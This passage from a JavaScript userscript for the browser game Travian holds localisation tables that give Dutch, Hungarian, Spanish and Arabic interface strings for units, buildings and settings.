'Tijd',\n\t'STAT': 'Statistic',\n\t'OFREZCO': 'Aanbiedend',\n\t'BUSCO': 'Zoekend naar',\n\t'TIPO': 'Type',\n\t'CUALQUIERA': 'Alle',\n\t'DISPONIBLE': 'Alleem beschikbaar',\n\t'SI': 'Ja',\n\t'NO': 'Nee',\n\t'MARCADORES': 'Bookmarks',\n\t'ANYADIR': 'Voeg toe',\n\t'ENLACE': 'New Bookmark URL',\n\t'TEXTO': 'New Bookmark Text',\n\t'ARCHIVE': 'Archieveer',\n\t'ELIMINAR': 'Verwijder',\n\t'ACTUALIZAR': 'Ververs',\n\t'REFRESH_INFORMARION': 'Ververs Info',\n\t'RESUMEN': 'Summary',\n\t'RECURSO1': 'Hout',\n\t'RECURSO2': 'Klei',\n\t'RECURSO3': 'IJzer',\n\t'RECURSO4': 'Graan',\n\t'ALDEA_EXTRA1': 'Stuur troepen',\n\t'ALDEA_EXTRA2': 'Stuur grondstoffen',\n\t'ALDEA_EXTRA3': 'Centereren op map',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Centering on village',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Location on Travmap',\n\t'ADD_ALL': 'Alle GS ',\n\t'DEMO': 'Gebouwen afbreken',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Afstanden en tijd',\n\t'PAL': 'Paleis',\n\t'RESI': 'Residentie',\n\t'MAN': 'Heldenhof',\n\t'USI': 'Uitrustingssmederij',\n\t'ARM': 'Wapensmid',\n\t'HOT': 'Hoofdgebouw',\n\t'IGMTITLE': 'Onderwerp',\n\t'IGMSENTER': 'Afzender',\n\t'IGMDATE': 'datum',\n\t'IGMTIME': 'tijd',\n\t'IGMOUTPUT': 'Toon inhoud v/d berichten ',\n\t'MAXTIME': 'Max tijd',\n\t'TT': 'Total view',\n\t'RESS': 'Means',\n\t'DEP': 'Store of means',\n\t'PC': 'PC',\n\t'TROP': 'Troepen',\n\t'MINI': 'Mini',\n\t'ATT': 'Aanvallen',\n\t'CONS': 'Building',\n\t'FT': 'Feest',\n\t'FT1': 'Klein feest',\n\t'FT2': 'Groot feest',\n\t'EXT': 'Extension',\n\t'IN': 'in',\n\t'JUGADOR': 'Speler',\n\t'HAB': 'Populatie',\n\t'COORD': 'Co&ouml,rd',\n\t'ACCION': 'Acties',\n\t'LVL': 'niveau',\n\t'MARC': 'Handelaren'\n\t}\n\tbreak;\n\tcase \"hu\":\t\t//Hungarian translation: DerekZ/Booboo\n\tvar newLang = {\n\t'ALIANZA': 'Klán',\n\t'SIM': 'Harcszimulátor',\n\t'SEGURO': 'Biztos vagy benne?',\n\t'MARK': 'Összes kijelölése',\n\t'PERDIDAS': 'Veszteség',\n\t'RENT': 'Haszon',\n\t'SUBIR_NIVEL': 'Fejleszthető',\n\t'ALDEA': 'Falu neve',\n\t'ATACAR': 'Támadás',\n\t'COMERCIAR': 'Nyersanyag küldése',\n\t'GUARDADO': 'Mentve',\n\t'DESP_ABR': 'Ugrás',\n\t'FALTA': 'Szükséges még',\n\t'HOY': 'ma',\n\t'MANYANA': 'holnap',\n\t'PAS_MANYANA': 'holnapután',\n\t'MERCADO': 'Piac',\n\t'CUARTEL': 'Kaszárnya',\n\t'PUNTO': 'Gyülekezőtér',\n\t'CORRAL': 'Istálló',\n\t'TALLER': 'Műhely',\n\t'ENVIAR': 'Nyersanyag küldése',\n\t'COMPRAR': 'Vásárlás',\n\t'VENDER': 'Eladás',\n\t'ENVIAR_IGM': 'Üzenet küldése',\n\t'LISTO': 'Kész',\n\t'EL': 'ezen a napon:',\n\t'A_LAS': 'ekkor: ',\n\t'EFICIENCIA': 'Hatásfok',\n\t'NUNCA': 'Soha',\n\t'PC': 'kulturális pont',\n\t'FUNDAR': 'Új falut alapíthatsz vagy foglalhatsz',\n\t'TIEMPO': 'Idő',\n\t'STAT': 'Statisztika',\n\t'OFREZCO': 'Kínál',\n\t'BUSCO': 'Keres',\n\t'TIPO': 'Típus',\n\t'CUALQUIERA': 'Bármi',\n\t'DISPONIBLE': 'Lehetséges',\n\t'SI': 'Igen',\n\t'NO': 'Nem',\n\t'MARCADORES': 'Könyvjelző',\n\t'ANYADIR': 'Hozzáad',\n\t'ENLACE': 'Új könyvjelző URL-je',\n\t'TEXTO': 'Új könyvjelző Neve',\n\t'ARCHIVE': 'Archívum',\n\t'ELIMINAR': 'Eltávolítás',\n\t'ACTUALIZAR': 'frissítés',\n\t'REFRESH_INFORMARION': 'Frissítés',\n\t'RESUMEN': 'Összegzés',\n\t'RECURSO1': 'Fa',\n\t'RECURSO2': 'Agyag',\n\t'RECURSO3': 'Vasérc',\n\t'RECURSO4': 'Búza',\n\t'ALDEA_EXTRA1': 'Egység küldése',\n\t'ALDEA_EXTRA2': 'Nyersanyag küldése',\n\t'ALDEA_EXTRA3': 'Térkép központosítása',\n\t'ALDEA_EXTRA4': 'Falu általános nézet',\n\t'ALDEA_EXTRA5': 'Faluközpont',\n\t'ALDEA_EXTRA6': 'TSU info',\n\t'ALDEA_EXTRA6B': 'Travian World Analyzer info',\n\t'ALDEA_EXTRA7': 'Travian-search info',\n\t'ALDEA_EXTRA8': 'Hely a TravMap-en',\n\t'ADD_ALL': 'Összes ',\n\t'DEMO': 'Főépület',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Távolság és idő',\n\t'TAB1': 'Travmap-en való megjelenítéshez (piros), válaszd el a klánok nevét vesszővel (pl.: A,B,C)',\n\t'TAB2': 'Könyvjelzők szerkesztése',\n\t'TAB3': 'Jegyzettömb',\n\t'TAB4': 'Eladás a Piacon',\n\t'TAB5': 'Határföldek építési lehetőségeinek mutatása',\n\t'TAB6': 'Faluközpont építési lehetőségeinek mutatása',\n\t'TAB7': 'Raktár telítődés idejének mutatása',\n\t'TAB8': 'Könyvjelzők: Palota/Rezidencia/Hősök háza',\n\t'TAB9': 'Könyvjelzők: Kaszárnya/Istálló/Műhely',\n\t'TAB10': 'Könyvjelzők: Páncélkovács/Fegyverkovács',\n\t'TAB11': 'Összefoglaló táblázat könyvjelzőinek mutatása',\n\t'TAB12': 'Könyvjelzők mutatása',\n\t'TAB13': 'TSU info mutatása',\n\t'TAB13B': 'Travian World Analyzer info mutatása',\n\t'TAB14': 'Travian-search info mutatása',\n\t'TAB15': 'Épületek szintjének mutatása',\n\t'TAB16': 'Üzenetek tartalmának mutatása',\n\t'TAB17': 'Jegyzettömb jobb oldalt',\n\t'TAB18': 'TravMap info mutatása',\n\t'TAB19': 'Könyvjelzők: Tanácsháza',\n\t'TAB20': 'Egyszerű linklista a bal oldalon',\n\t'TAB21': 'Egyszerűsített összefoglaló a falvakról',\n\t'TAB22': 'Faluösszefoglalók újrapozícionálása',\n\t'TAB23': 'Egységek küldése: rablás [ ], normál támadás [x]',\n\t'TAB24': 'Nyersanyagszámlálók [ ]-alul, [x]-felül',\n\t'TAB25': 'Az adott faluban képzett összes egység mutatása',\n\t'TAB26': 'Összefoglaló táblázat a falvakról',\n\t'TAB27': 'Privát képszerver: [ ]<br>Travian képszerver: [x]',\n\t'TAB28': 'Add meg a főfalu ID-jét (pl.: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Bővített ikonok mutatása',\n\t'TAB30': 'Csata elemző',\n\t'TAB31': 'BBcode segítség mutatása',\n\t'TAB32': 'Színezés használata a határföldeken',\n\t'TAB33': 'NPC segítő mutatása',\n\t'TAB34': 'Gyors jelentések',\n\t'TAB35': 'Az egység sebessége a felugró ablakokhoz (pl. a szenátornak 4)',\n\t'CLEAN': 'Törlés',\n\t'PAL': 'Palota',\n\t'RESI': 'Rezidencia',\n\t'MAN': 'Hősök háza',\n\t'USI': 'Páncélkovács',\n\t'ARM': 'Fegyverkovács',\n\t'HOT': 'Tanácsháza',\n\t'IGMTITLE': 'Téma',\n\t'IGMSENTER': 'küldő',\n\t'IGMDATE': 'dátum',\n\t'IGMTIME': 'idő',\n\t'IGMOUTPUT': 'Levelek tartalmának mutatása',\n\t'MAXTIME': 'Max idő',\n\t'LOGIN': 'Bejelentkezés',\n\t'TT': 'Teljes nézet',\n\t'RESS': 'Nyersanyag',\n\t'DEP': 'Raktár',\n\t'PC': 'KP',\n\t'TROP': 'Egységek',\n\t'MINI': 'Mini',\n\t'ATT': 'Támadás',\n\t'CONS': 'Építés',\n\t'FT': 'Ünnepség',\n\t'FT1': 'Kis ünnepség',\n\t'FT2': 'Nagy ünnepség',\n\t'EXT': 'Kiterjedés',\n\t'IN': '',\n\t'JUGADOR': 'Játékos',\n\t'HAB': 'Népesség',\n\t'COORD': 'Koordináták',\n\t'ACCION': 'Események',\n\t'MAPSCAN': 'Térkép info',\n\t'AID': 'Segítség',\n\t'VITS': 'Sebesség:',\n\t'CAPA': 'Terhelhetőség:',\n\t'DIST': 'Távolság',\n\t'MP': 'Könyvjelzőnek ',\n\t'UPDATE_CHECK': 'Újabb verzió?',\n\t'LAST_VERSION': 'Az elérhető legfrissebb verzió',\n\t'NEW_VERSION': 'Újabb verzió érhető el',\n\t'UPDATE_NOW': 'Frissítés most',\n\t'R1': 'Légió', //romain\n\t'R2': 'Testőrség',\n\t'R3': 'Birodalmi',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Faltörő kos',\n\t'R8': 'Tűzkatapult',\n\t'R9': 'Szenátor',\n\t'R10': 'Telepes',\n\t'T1': 'Buzogányos', //teuton\n\t'T2': 'Lándzsás',\n\t'T3': 'Csatabárdos',\n\t'T4': 'Felderítő',\n\t'T5': 'Paladin',\n\t'T6': 'Teuton lovag',\n\t'T7': 'Faltörő kos',\n\t'T8': 'Katapult',\n\t'T9': 'Törzsi vazető',\n\t'T10': 'Telepes',\n\t'G1': 'Phalanx', //gaulois\n\t'G2': 'Kardos',\n\t'G3': 'Felderítő',\n\t'G4': 'Theutat villám',\n\t'G5': 'Druida lovas',\n\t'G6': 'Haeduan',\n\t'G7': 'Falromboló',\n\t'G8': 'Harci-katapult',\n\t'G9': 'Főnök',\n\t'G10': 'Telepes',\n\t'N1': 'Patkány', //nature\n\t'N2': 'Pók',\n\t'N3': 'Kígyó',\n\t'N4': 'Denevér',\n\t'N5': 'Vaddisznó',\n\t'N6': 'Farkas',\n\t'N7': 'Medve',\n\t'N8': 'Krokodil',\n\t'N9': 'Tigris',\n\t'N10': 'Elefánt',\n\t'LVL': 'Szint',\n\t'MARC': 'Kereskedő',\n\t'TOTAL': 'Összesen',\n\t'WASTED_SPACE' : 'Kihasználatlanul',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Fontos beállítások',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Szövegek',\n\t'SAVEREPORT': 'Jelentés mentése',\n\t'ANONYMIZE': 'anonim',\n\t'LBA0':'Teljes támadó érték',\n\t'LBA2':'Gyalogság elleni teljes védelem',\n\t'LBA3':'Lovasság elleni teljes védelem',\n\t'LBA4':'Általános statisztika',\n\t'LBA5':'Veszteség különbségek',\n\t'LBA6':'Ellátás',\n\t'LBA7':'XP a hősnek',\n\t'LBA9':'A veszteség mértéke búzában',\n\t'LBA10':'A sereg névleges ellátmánya',\n\t'LBA11':'Nem volt hős',\n\t'LBA12':'Hős',\n\t'LBA13':'Rabolt nyersanyag mennyisége',\n\t'LBA14':'Maximális teherbírás',\n\t'LBA15':'Támadó',\n\t'LBA16':'Védő',\n\t'LBA17': 'Másolás, és irány a harcszimulátor',\n\t'LBA18': 'Beillesztés',\n\t'BBC': 'Használható BBkódok',\n\t'BBC_B': 'Félkövér: [b]Szöveg[/b]',\n\t'BBC_I': 'Dőlt: [i]Szöveg[/i]',\n\t'BBC_U': 'Aláhúzott: [u]Szöveg[/u]',\n\t'BBC_C': 'Középre zárt: [c]Szöveg[/c]',\n\t'BBC_COLOR': 'Színek: [color=blue]Szöveg[/color] Tipp: A színt color=#0000FF vagy #00F formában is megadhatod.',\n\t'BBC_URL': 'Link: [url]http://url[/url] vagy [url=http://url]Link szöveg[/url]',\n\t'BBC_IMG': 'Kép: [img]URL[/img]',\n\t'BBC_LEFT': 'Balra igazít: [<]Szöveg[/<]',\n\t'BBC_RIGHT': 'Jobbra igazít: [>]Szöveg[/>]',\n\t'BBC_BLINK': 'Villogtat: [blink]Szöveg[/blink]',\n\t'THS0': 'Jelenlegi:',\n\t'THS1': 'Szintlépés:',\n\t'THS2': 'Még kell:'\n\t}\n\tbreak;\n\tcase \"mx\":\t\t//Español by hbautista & CaDoMi\n\tcase \"es\":\n\tcase \"ar\":\n\tcase \"cl\":\n\tvar newLang = {\n\t'ALIANZA': 'Alianza',\n\t'SIM': 'Simulador',\n\t'SEGURO': '¿Está seguro?',\n\t'MARK': 'Marcar todos',\n\t'PERDIDAS': 'Pérdidas en materiales',\n\t'RENT': 'Rentabilidad',\n\t'SUBIR_NIVEL': 'Puedes subirlo de nivel',\n\t'ALDEA': 'Aldea',\n\t'ATACAR': 'Atacar',\n\t'COMERCIAR': 'Comerciar',\n\t'GUARDADO': 'Guardado',\n\t'DESP_ABR': 'Desp.',\n\t'FALTA': 'Falta',\n\t'HOY': 'hoy',\n\t'MANYANA': 'mañana',\n\t'PAS_MANYANA': 'pasado mañana',\n\t'MERCADO': 'Mercado',\n\t'CUARTEL': 'Cuartel',\n\t'PUNTO': 'Plaza de reuniones',\n\t'CORRAL': 'Establo',\n\t'TALLER': 'Taller de maquinaria',\n\t'ENVIAR': 'Enviar',\n\t'COMPRAR': 'Comprar',\n\t'VENDER': 'Vender',\n\t'ENVIAR_IGM': 'Enviar IGM',\n\t'LISTO': 'Todo listo',\n\t'EL': 'el',\n\t'A_LAS': 'a las',\n\t'EFICIENCIA': 'Eficiencia',\n\t'NUNCA': 'Nunca',\n\t'PC': 'Punto(s) de cultura',\n\t'FUNDAR': 'ya puedes fundarla o conquistarla',\n\t'TIEMPO': 'Tiempo',\n\t'STAT': 'Estadísticas',\n\t'OFREZCO': 'Ofrezco',\n\t'BUSCO': 'Busco',\n\t'TIPO': 'Tipo',\n\t'CUALQUIERA': 'Cualquiera',\n\t'DISPONIBLE': 'Disponible',\n\t'SI': 'Si',\n\t'NO': 'No',\n\t'MARCADORES': 'Marcadores',\n\t'ANYADIR': 'Añadir',\n\t'ENLACE': 'Dirección del nuevo marcador',\n\t'TEXTO': 'Texto del nuevo marcador',\n\t'ARCHIVE': 'Archivo',\n\t'ELIMINAR': 'Eliminar',\n\t'ACTUALIZAR': 'Actualizar',\n\t'REFRESH_INFORMARION': 'Actualizar Info',\n\t'RESUMEN': 'Resumen',\n\t'RECURSO1': 'Madera',\n\t'RECURSO2': 'Barro',\n\t'RECURSO3': 'Hierro',\n\t'RECURSO4': 'Cereal',\n\t'ALDEA_EXTRA1': 'Enviar unidades',\n\t'ALDEA_EXTRA2': 'Enviar recursos',\n\t'ALDEA_EXTRA3': 'Centrar en el mapa',\n\t'ALDEA_EXTRA4': 'Visión global de la aldea',\n\t'ALDEA_EXTRA5': 'Centro de la aldea',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Localización en Travmap',\n\t'ADD_ALL': 'Para todos ',\n\t'DEMO': 'Edificio principal',\n\t'FRIGO': 'Refrigerador',\n\t'TOOLS': 'Distancias y tiempos',\n\t'TAB1': 'Para localización el Travmap (rojo), separa las múltiples alianzas con una coma.(ejem: A,B,C)',\n\t'TAB2': 'Editar este marcador',\n\t'TAB3': 'Bloc de notas',\n\t'TAB4': 'Precio de venta en el mercado',\n\t'TAB5': 'Información tabla de recursos',\n\t'TAB6': 'Información tabla de edificios',\n\t'TAB7': 'Mostrar estado depósitos',\n\t'TAB8': 'Marcar const. principal',\n\t'TAB9': 'Marcar const. militar',\n\t'TAB10': 'Marcar const. mejora',\n\t'TAB11': 'Marcar pags. personales',\n\t'TAB12': 'Mostrar marcadores',\n\t'TAB13': 'Mostrar info TSU',\n\t'TAB13B': 'Mostrar info Travian World Analyzer',\n\t'TAB14': 'Mostrar información del Travian-search',\n\t'TAB15': 'Mostrar N° nivel de edificios',\n\t'TAB16': 'Mostrar contenido de mensajes',\n\t'TAB17': 'Mostrar notas en mensajes',\n\t'TAB18': 'Mostrar información Travmap',\n\t'TAB19': 'Marcar Ayuntamiento',\n\t'TAB20': 'Simplificar lista de enlaces a la izquierda',\n\t'TAB21': 'Simplificar resumen de las aldeas',\n\t'TAB22': 'Reposicionar resumen de las aldeas',\n\t'TAB23': 'Ataque: Normal[x] / Atraco[ ]',\n\t'TAB24': 'Reposicionar medidores de depósitos',\n\t'TAB25': 'Mostrar el total de tropas en la aldea (Plaza de reuniones) (0 o 1)',\n\t'TAB26': 'Mostrar tabla resumen de la aldea (0 or 1)',\n\t'TAB27': 'Servidor imágenes privado :[ ]<br>Servidor imágenes Travian : [x]',\n\t'TAB28': 'Introducir ID de la Capital (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Mostrar iconos mejorados',\n\t'TAB30': 'Mostrar analizador de batallas',\n\t'TAB31': 'Mostrar ayuda BBcode',\n\t'CLEAN': ' Limpiar',\n\t'PAL': 'Palacio',\n\t'RESI': 'Residencia',\n\t'MAN': 'Casa del héroe',\n\t'USI': 'Armería',\n\t'ARM': 'Herrería',\n\t'HOT': 'Ayuntamiento',\n\t'IGMTITLE': 'Tema',\n\t'IGMSENTER': 'Remitente',\n\t'IGMDATE': 'Fecha',\n\t'IGMTIME': 'Hora',\n\t'IGMOUTPUT': 'Mostrar contenido de los IGM',\n\t'MAXTIME': 'Tiempo máximo',\n\t'LOGIN': 'Entrar',\n\t'TT': 'Vista global',\n\t'RESS': 'Recursos',\n\t'DEP': 'Almacén',\n\t'PC': 'PC',\n\t'TROP': 'Tropas',\n\t'MINI': 'Mini',\n\t'ATT': 'Ataques',\n\t'CONS': 'Construcciones',\n\t'FT': 'Celebración',\n\t'FT1': 'pequeña celebración',\n\t'FT2': 'gran celebración',\n\t'EXT': 'Extensión',\n\t'IN': 'dentro',\n\t'JUGADOR': 'Jugador',\n\t'HAB': 'Habitantes',\n\t'COORD': 'Coordenadas',\n\t'ACCION': 'Acciones',\n\t'MAPSCAN': 'Revelar mapa',\n\t'AID': 'Ayuda',\n\t'VITS': 'Velocidad',\n\t'CAPA': 'Capacidad',\n\t'DIST': 'Distancia',\n\t'MP': 'Crear acceso rápido',\n\t'UPDATE_CHECK': 'Comprobar actualizaciones',\n\t'LAST_VERSION': 'Estás usando la última versión',\n\t'NEW_VERSION': 'Hay una actualización disponible',\n\t'UPDATE_NOW': 'Actualizar ahora',\n\t'R1': 'Legionario', // Romanos\n\t'R2': 'Pretoriano',\n\t'R3': 'Imperano',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Carnero',\n\t'R8': 'Catapulta de fuego',\n\t'R9': 'Senador',\n\t'R10': 'Colono',\n\t'T1': 'Luchador de Porra', // Germanos\n\t'T2': 'Lancero',\n\t'T3': 'Luchador de Hacha',\n\t'T4': 'Emisario',\n\t'T5': 'Paladín',\n\t'T6': 'Jinete Teutón',\n\t'T7': 'Ariete',\n\t'T8': 'Catapulta',\n\t'T9': 'Cabecilla',\n\t'T10': 'Colono',\n\t'G1': 'Falange', // Galos\n\t'G2': 'Luchador de Espada',\n\t'G3': 'Batidor',\n\t'G4': 'Rayo de Teutates',\n\t'G5': 'Jinete Druida',\n\t'G6': 'Jinete Eduo',\n\t'G7': 'Carnero de madera',\n\t'G8': 'Catapulta de guerra',\n\t'G9': 'Cacique',\n\t'G10': 'Colono',\n\t'N1': 'Rata', // Naturaleza\n\t'N2': 'Araña',\n\t'N3': 'Serpiente',\n\t'N4': 'Vampiro',\n\t'N5': 'Jabalí',\n\t'N6': 'Lobo',\n\t'N7': 'Oso',\n\t'N8': 'Crocodilo',\n\t'N9': 'Tigre',\n\t'N10': 'Elefante',\n\t'LVL': 'Nivel',\t\t\t// Muy importante\n\t'MARC': 'Mercader',\t\t// Muy importante\n\t'TOTAL': 'Total',\n\t'WASTED_SPACE': 'Espacio libre',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Importante',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Texto',\n\t'SAVEREPORT': 'guardar informe',\n\t'ANONYMIZE': 'anonimizar',\n\t'LBA0':'Fuerza total del ataque',\n\t'LBA1':'Equivalencia de perdidas',\n\t'LBA2':'Def. infantería',\n\t'LBA3':'Def. caballería',\n\t'LBA4':'Informes estadísticos',\n\t'LBA5':'Dif. de pérdidas',\n\t'LBA6':'Consumo',\n\t'LBA7':'Exp de heroes',\n\t'LBA8':'Capacidad',\n\t'LBA9':'Equivalencia perdidas en recursos',\n\t'LBA10':'Consumo nominal en cereal del ejercito',\n\t'LBA11':'El héroe no era',\n\t'LBA12':'Héroe',\n\t'LBA13':'Cantidad de materias que pueden transportar',\n\t'LBA14':'Capacidad sobreviviente',\n\t'LBA15':'Ataque',\n\t'LBA16':'Defensa',\n\t'THS0': 'Actual:',\n\t'THS1': 'Siguiente:',\n\t'THS2': 'Matar:'\n\t}\n\tbreak;\n\tcase \"ae\":\t\t//skyline:arabic aLang \"UpDated By HaMaDo\"\n\tvar newLang = {\n\t'ALIANZA': 'التحالف',\n\t'SIM': 'محاكي المعركة',\n\t'SEGURO': 'هل انت متأكد؟',\n\t'MARK': 'تحديد الكل',\n\t'PERDIDAS': 'الخسارة',\n\t'RENT': 'الربح',\n\t'SUBIR_NIVEL': 'قابل للأرتقاء',\n\t'ALDEA': 'اسم القرية',\n\t'ATACAR': 'هجوم',\n\t'COMERCIAR': 'ارسال موارد',\n\t'GUARDADO': 'حفظ',\n\t'DESP_ABR': 'انتقال',\n\t'FALTA': 'انت تحتاج',\n\t'HOY': 'اليوم',\n\t'MANYANA': 'غداً',\n\t'PAS_MANYANA': 'بعد يوم الغد',\n\t'MERCADO': 'السوق',\n\t'CUARTEL': 'الثكنة',\n\t'PUNTO': 'نقطة تجمع',\n\t'CORRAL': 'الاسطبل',\n\t'TALLER': 'المصانع الحربية',\n\t'ENVIAR': 'ارسال موارد',\n\t'COMPRAR': 'شراء',\n\t'VENDER': 'بيع',\n\t'ENVIAR_IGM': 'كتابه رساله له',\n\t'LISTO': 'جاهز',\n\t'EL': 'على',\n\t'A_LAS': 'في',\n\t'EFICIENCIA': 'الكفاءه',\n\t'NUNCA': 'ابداً',\n\t'PC': 'النقاط الحضارية',\n\t'FUNDAR': 'يمكنك ان تنشأ او تهزم قرية جديدة',\n\t'TIEMPO': 'الوقت',\n\t'STAT': 'الاحصائية',\n\t'OFREZCO': 'عرض',\n\t'BUSCO': 'بحث',\n\t'TIPO': 'نوع',\n\t'CUALQUIERA': 'الكل',\n\t'DISPONIBLE': 'المتوفر فقط',\n\t'SI': 'نعم',\n\t'NO': 'لا',\n\t'MARCADORES': 'المحفوظات',\n\t'ANYADIR': 'إظافة',\n\t'ENLACE': 'موقع جديد لمحفوظة',\n\t'TEXTO': 'عنوان جديد لمحفوظة',\n\t'ARCHIVE': 'الارشيف',\n\t'ELIMINAR': 'مسح',\n\t'ACTUALIZAR': 'تحديث',\n\t'REFRESH_INFORMARION': 'تحديث المعلومات',\n\t'RESUMEN': 'الخلاصة',\n\t'RECURSO1': 'خشب',\n\t'RECURSO2': 'طين',\n\t'RECURSO3': 'حديد',\n\t'RECURSO4': 'قمح',\n\t'ALDEA_EXTRA1': 'ارسال وحدات',\n\t'ALDEA_EXTRA2': 'ارسال موارد خام',\n\t'ALDEA_EXTRA3': 'مركز الخريطة',\n\t'ALDEA_EXTRA4': 'عرض القرية في خريطة العالم',\n\t'ALDEA_EXTRA5': 'مركز القرية',\n\t'ALDEA_EXTRA6': 'معلومات الحركة',\n\t'ALDEA_EXTRA6B': 'معلومات الحركة',\n\t'ALDEA_EXTRA7': 'معلومات عن البحث',\n\t'ALDEA_EXTRA8': 'الموقع في خريطة ترافيان',\n\t'ADD_ALL': 'للجميع ',\n\t'DEMO': 'المبنى الرئيسي',\n\t'FRIGO': 'البحث عن الخاملين',\n\t'TOOLS': 'المسافة و الوقت',\n\t'TAB1': 'الموقع على الخريطة (الأحمر) الخاصة بك ليسة بينكم وبينهم امور دبلوماسية ',\n\t'TAB2': 'تعديل على المحفوظات',\n\t'TAB3': 'المذكرة',\n\t'TAB4': 'سعر البيع',\n\t'TAB5': 'عرض معلومات الجدول وسيلة',\n\t'TAB6': 'عرض معلومات الجدول المباني',\n\t'TAB7': 'عرض الوقت المتبقي لأكتمال المخازن',\n\t'TAB8': 'عرض المباني الإدارية في المحفوظات',\n\t'TAB9': 'عرض المباني العسكرية في المحفوظات',\n\t'TAB10': 'عرض المباني التحسينية في المحفوظات',\n\t'TAB11': 'عرض المحفوظات الإضافية',\n\t'TAB12': 'عرض المحفوظات',\n\t'TAB13': 'عرض معلومات الحركة',\n\t'TAB13B': 'عرض معلومات الحركة',\n\t'TAB14': 'عرض معلومات عن البحث',\n\t'TAB15': 'عرض الوان الأنشاء/التطوير المباني',\n\t'TAB16': 'عرض محتوى الرسائل',\n\t'TAB17': 'عرض مذكرة الرسائل',\n\t'TAB18': 'عرض معلومات عن الخريطة',\n\t'TAB19': 'عرض البلدية في المحفوظات',\n\t'TAB20': 'عرض قائمة بسيطة للوصلات في الجانب الايسر',\n\t'TAB21': 'موجز بسيط عن القرى',\n\t'TAB22': 'موجز عن موقع القرى',\n\t'TAB23': 'تغيير هجوم: الغاره / طبيعية',\n\t'TAB24': 'موقع المتبقي لأكتمال المخزن',\n\t'TAB25': 'عرض إجمالي القوات في القريبة',\n\t'TAB26': 'عرض نظرة عامة على قرية في جدول',\n\t'TAB27': 'صورة الخادم الخاص : [ ]<br>صورة خادم ترافيان : [x]',\n\t'TAB28': 'أدخل رقم ID لعاصمتك (مثال : 13695)\\n<br>--> http://-/dorf1.php؟newdid=13695',\n\t'TAB29': 'عرض الأيقونات الإضافية',\n\t'TAB30': 'عرض تحليل المعركه',\n\t'TAB31': 'bbcode عرض مساعدة',\n\t'TAB32': 'عرض الوان الأنشاء/التطوير الحقول',\n\t'TAB33': 'عرض المساعدة في تاجر مبادلة',\n\t'TAB34': 'عرض التقرير السريع',\n\t'TAB35': 'السرعة الخاصة بك في قفز النوافذ (مثال : 4)',\n\t'CLEAN': ' نظيف',\n\t'PAL': 'قصر',\n\t'RESI': 'السكن',\n\t'MAN': 'قصر الابطال',\n\t'USI': 'مستودع الاسلحه',\n\t'ARM': 'حداد',\n\t'HOT': 'البلدية',\n\t'IGMTITLE': 'الموضوع',\n\t'IGMSENTER': 'المرسل',\n\t'IGMDATE': 'الوقت',\n\t'IGMTIME': 'الساعة',\n\t'IGMOUTPUT': 'عرض محتويات الرسائل',\n\t'MAXTIME': 'اقصى وقت',\n\t'LOGIN': 'الدخول',\n\t'TT': 'هدم المباني',\n\t'RESS': 'وسائل',\n\t'DEP': 'تخزين الوسائل',\n\t'PC': 'نقاط حضاريه',\n\t'TROP': 'القوات',\n\t'MINI': 'اقل',\n\t'ATT': 'الهجمات',\n\t'CONS': 'البناء',\n\t'FT': 'حفلة',\n\t'FT1': 'حفلة صغيرة',\n\t'FT2': 'حفلة كبيرة',\n\t'EXT': 'إمتداد',\n\t'IN': 'في',\n\t'JUGADOR': 'لاعب',\n\t'HAB': 'السكان',\n\t'COORD': 'الاحداثيات',\n\t'ACCION': 'الأجراءات',\n\t'MAPSCAN': 'المسح الضوئي للخريطه',\n\t'AID': 'مساعده',\n\t'VITS': 'سرعة',\n\t'CAPA': 'القدرة',\n\t'DIST': 'المسافة',\n\t'MP': 'إلى الملاحظات ',\n\t'UPDATE_CHECK': 'التأكد من النسخه',\n\t'LAST_VERSION': 'انت تستخدم النسخة الأخيره',\n\t'NEW_VERSION': 'يوجد نسخه جديدة',\n\t'UPDATE_NOW': 'تحديث الان',\n\t'R1': 'جندي أول', // Romans\n\t'R2': 'حراس الأمبراطور',\n\t'R3': 'جندي مهاجم',\n\t'R4': 'فرقة تجسس',\n\t'R5': 'سلاح الفرسان',\n\t'R6': 'فرسان قيصر',\n\t'R7': 'كبش',\n\t'R8': 'المقلاع الناري',\n\t'R9': 'حكيم',\n\t'R10': 'مستوطن',\n\t'T1': 'مقاتل بهراوة', // Teutons\n\t'T2': 'مقاتل برمح',\n\t'T3': 'مقاتل بفأس',\n\t'T4': 'الكشاف',\n\t'T5': 'مقاتل القيصر',\n\t'T6': 'فرسان الجرمان',\n\t'T7': 'محطمة الابواب',\n\t'T8': 'المقلاع',\n\t'T9': 'الزعيم',\n\t'T10': 'مستوطن',\n\t'G1': 'الكتيبه', // Gauls\n\t'G2': 'مبارز',\n\t'G3': 'المستكشف',\n\t'G4': 'رعد الجرمان',\n\t'G5': 'فرسان السلت',\n\t'G6': 'فرسان الهيدوانر',\n\t'G7': 'محطمة الابواب الخشبية',\n\t'G8': 'المقلاع الحربي',\n\t'G9': 'رئيس',\n\t'G10': 'مستوطن',\n\t'N1' : 'الجرذ', //Nature\n\t'N2' : 'العنكبوت',\n\t'N3' : 'الثعبان',\n\t'N4' : 'الخفاش',\n\t'N5' : 'الخنزير البري',\n\t'N6' : 'الذئب',\n\t'N7' : 'الدب',\n\t'N8' : 'التمساح',\n\t'N9' : 'النمر',\n\t'N10' : 'الفيل',\n\t'LVL': 'المستوى',\t\t// Very important\n\t'MARC': 